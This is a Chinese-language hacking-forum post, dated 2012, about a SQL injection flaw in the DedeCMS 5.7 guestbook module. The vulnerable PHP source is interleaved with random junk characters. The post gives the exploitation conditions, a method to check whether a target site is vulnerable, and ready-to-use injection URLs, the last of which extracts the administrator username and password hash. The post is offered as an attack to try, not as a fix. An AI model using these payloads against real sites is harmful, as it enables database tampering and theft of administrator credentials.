找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3950|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
5 \3 N: E' L6 Q( z+ d4 U/ }9 F! V' k, C( n. b% ~
漏洞文件edit.inc.php具体代码:
% t4 h4 t  N7 {) t4 t! |. H6 M9 z) m% a' o4 T' S; P
< ?php  
8 @8 Q4 k& a) K8 `
4 a0 o/ r4 `4 h' ]8 Y$ xif(!defined('DEDEINC')) exit('Request Error!');  
& e4 @! W; _/ A0 d2 ^* G- V" N# b, M8 p$ U) [- J
   
7 A$ S/ k4 ^/ u  |
  q# q. d/ N+ k9 C& F( tif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  % a" ]( \  g! U

" r: _$ p/ @6 Q& Y/ o* F; d, i5 Q2 Belse $GUEST_BOOK_POS = "guestbook.php";  * t1 ^5 Q2 F$ a

8 B% B4 Z: l5 j, o1 Q6 B   
- s# {0 A. }$ M. I- K7 G& D" w9 Y, H2 K0 b1 f4 d; G
$id = intval($id);  
2 J8 {( y$ a, ?' ?
: ~' x  B3 u9 ^if(empty($job)) $job='view';  ' b: ]( x5 M9 ?) P3 x, l0 q

5 |  I; S9 z& T7 y+ l   
6 `6 \. a' N% N: W
( e' m( ^* B& l3 l6 ~if($job=='del' && $g_isadmin)  
; I( L' V5 T4 p) F7 x1 c) N* b+ f4 l
{  
- e9 B: M5 a& H( g
0 A' Q- ]0 x( j* N$ q$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  + k9 J1 _, G4 j; N: d5 u4 u
/ V. M% t7 u, F3 {" o+ g2 D
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  * n" l# I& t' Z! Q. z' r0 V2 x$ E

5 C5 f7 r/ {8 @+ Z2 Wexit();  
: p0 l6 R% Q, U8 p+ Y4 X: W" h% M2 i0 _; q+ t6 {  V* X* G' q; E$ W
}  
# U  Q( m: T7 K! B# A/ v. W8 V  z. B0 h+ I
else if($job=='check' && $g_isadmin)  
1 ^' u7 k6 z- u; w9 j+ Y) F
* J* G# ^2 t2 k{  * r/ ]1 i4 `3 x( w4 ]9 q# P
$ Y/ U0 b/ X/ C- l2 J) r" z
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  % G; p' {* m0 Q8 d7 e6 B

3 K- h% a. T1 m, k: M" lShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
6 i1 \) A+ |5 w7 n- J( X& f" Y8 p% z7 ^; [+ e) a
exit();  8 }- U; A# A! z7 _
8 \% Z7 F: @& N0 ]/ _! |+ C
}  & X  @) t' O- L6 p1 Z" p! h
# `! N6 O" _" _, t
else if($job=='editok')  6 X, V' w3 l3 [
+ I4 r! ]# Z  `7 P7 Z4 N
{  
& T1 T2 c) o2 U) S
, h# a5 ~  ]1 C% q$remsg = trim($remsg);  
5 Z) G/ ~# n4 E; f2 r3 `6 |
- r3 V: O- L# C" x6 t9 t- f) K$ g0 hif($remsg!='')  - u0 @  C4 c0 z4 [; A, ?7 j- d9 q

" F) ?( c- m. ?0 y{  
6 q, c9 i0 T: E) m; J/ b0 |# b; G% w$ X
//管理员回复不过滤HTML By:Errorera blog:errs.cc  - K8 j* e) U% p& k

( r' a8 S: [: k! {8 ~- @6 xif($g_isadmin)  
0 x' P. L( h7 Q/ B  i& E. d9 {4 c3 q7 ], S
{  ! L7 d) ?+ D) o* X) U- w! c5 ]
& D3 ~) Q4 c* R0 z2 S
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
4 e, Q3 C7 Y# {: s# ]/ ?* p+ b% X/ j) z7 Z0 T! y7 U6 K* S
//$remsg <br /><font color=red>管理员回复:</font> }    S1 h9 [6 y% L

5 c: ~. t  O  Z9 \' ~- xelse ; @* f2 ~( j, q' Q7 l) K

9 x' R$ ?) u# m  v! B$ G( w: x6 j# Y{  
: i4 V5 t5 w& J9 L( y/ L4 m
2 y: X% B0 I0 i5 Y5 t  t+ h! f$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
# ~+ v" ~5 g/ Z& x& Z
3 N1 r0 Q/ M% E: e$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  2 ?/ b2 W* a' I

: v9 H% a& L% h6 h) E4 y$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
$ C! U4 a2 y; {: U& W9 i4 R
0 c  g. r7 k- K/ s! n9 Y$msg = $oldmsg.$remsg;  . Z/ T! A! T$ T3 x
- ~1 O" v. U- F8 H# u2 o4 m# M- ]5 Z
}  
0 |, H. j7 I' V7 N0 K& n1 R! d; i% ~
0 d. Y* Y; d4 y5 D}  
# a& z! P) P" }4 w; ]' Z" F1 K; d/ W# E6 p
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
' C! K; B+ H! |& X- H; x$ C
, {' u9 e+ |4 N% ]# J. _8 x$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
: ?1 E. n: K' ]
4 Y  H! C2 Q! GShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
4 z; e* e; k9 g7 _8 N; W- z
* m+ G9 g& ~- ]exit();  ' F- z: O7 K& P) D3 ?9 G+ h
) D+ X$ {! `, K4 ~
}  
6 A6 F0 o) t$ J" y( K. O5 r+ k" R% L. g$ c0 I8 a9 Z' G- d# s( l
//home:www.errs.cc  - p- l3 K! {; {  `6 m0 X& F) f
, e/ o6 w& o( y# d' @! U, M
if($g_isadmin)  
6 t" s, Z: B* _4 g
, r2 O- Y$ f* U7 h{  9 u& O8 e% i& ?* q' E
4 E- b9 j% W4 m& ]
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
3 {# _$ X9 N7 n$ I7 n8 m! @/ h0 D- T# K& B/ R6 c4 v( g- [4 K& {2 h
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  # a6 A  ?1 m! h+ Y  Y5 A; G

! k$ G& y/ j/ d1 \  w2 u; p# g}  
* _  Q4 V( h: F# t9 ~
- y+ X) v) R2 e: _1 melse
; z6 {2 t8 a9 Y; D/ w; M' n' Y  Y% X+ S5 w/ h
{  3 i1 v) H1 E% E9 t

! ]; @7 `3 s, `7 p' r7 A$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
% i/ O) N- u8 U( \
2 c0 X4 Q% E! {. \- mrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  + c  {% t4 ~& E
4 Y! `0 t* w# v4 C
} 漏洞成功需要条件:8 |+ Q0 o% W. ~2 S5 Z+ Z; K: V4 X
1. php magic_quotes_gpc=off
# Q8 r: X/ x& `* Q- S8 o$ D2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。0 c) v" U! S/ V9 g  b: O! g: B8 H

  a- r2 h4 m+ p! H2 d, k' X+ W4 }9 V怎么判断是否存在漏洞:7 `+ j" F( V. w0 y9 V/ J
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
; u2 |  q2 T( i1 }8 Y然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID& e! R- R7 v9 G$ E( o$ a/ C
访问:
$ m7 r' r. C/ e4 I7 l
! |7 w( N7 z9 X' _! l9 v; _- ewww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 i( F# f; \2 m1 k跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. K$ b5 I( z: `
+ L0 U5 w! _& z4 q( _
6 h- @' |# v0 Y. S! W# @. ~明漏洞无法利用应为他开启了 php magic_quotes_gpc=off* P* i  z2 o7 g& B$ M3 p
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。' g4 S, l" k) N. R! L" J- N  x
那么再次访问
: _: k# p4 A8 c; Z! p4 ?) w3 m5 `; e! `0 z6 o/ r. d
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
3 m  n' F" C9 a3 m* x* `+ X
, l9 r7 a( b0 e! v8 c/ e; f" g( N大概利用就是这样,大家有兴趣的多研究下!!. V2 N) X) z" c5 j+ E3 J
: [- d9 x9 W, \/ t5 [* ~
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!5 D7 W/ O4 P* t) n& S
+ M$ B# H& F4 }
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表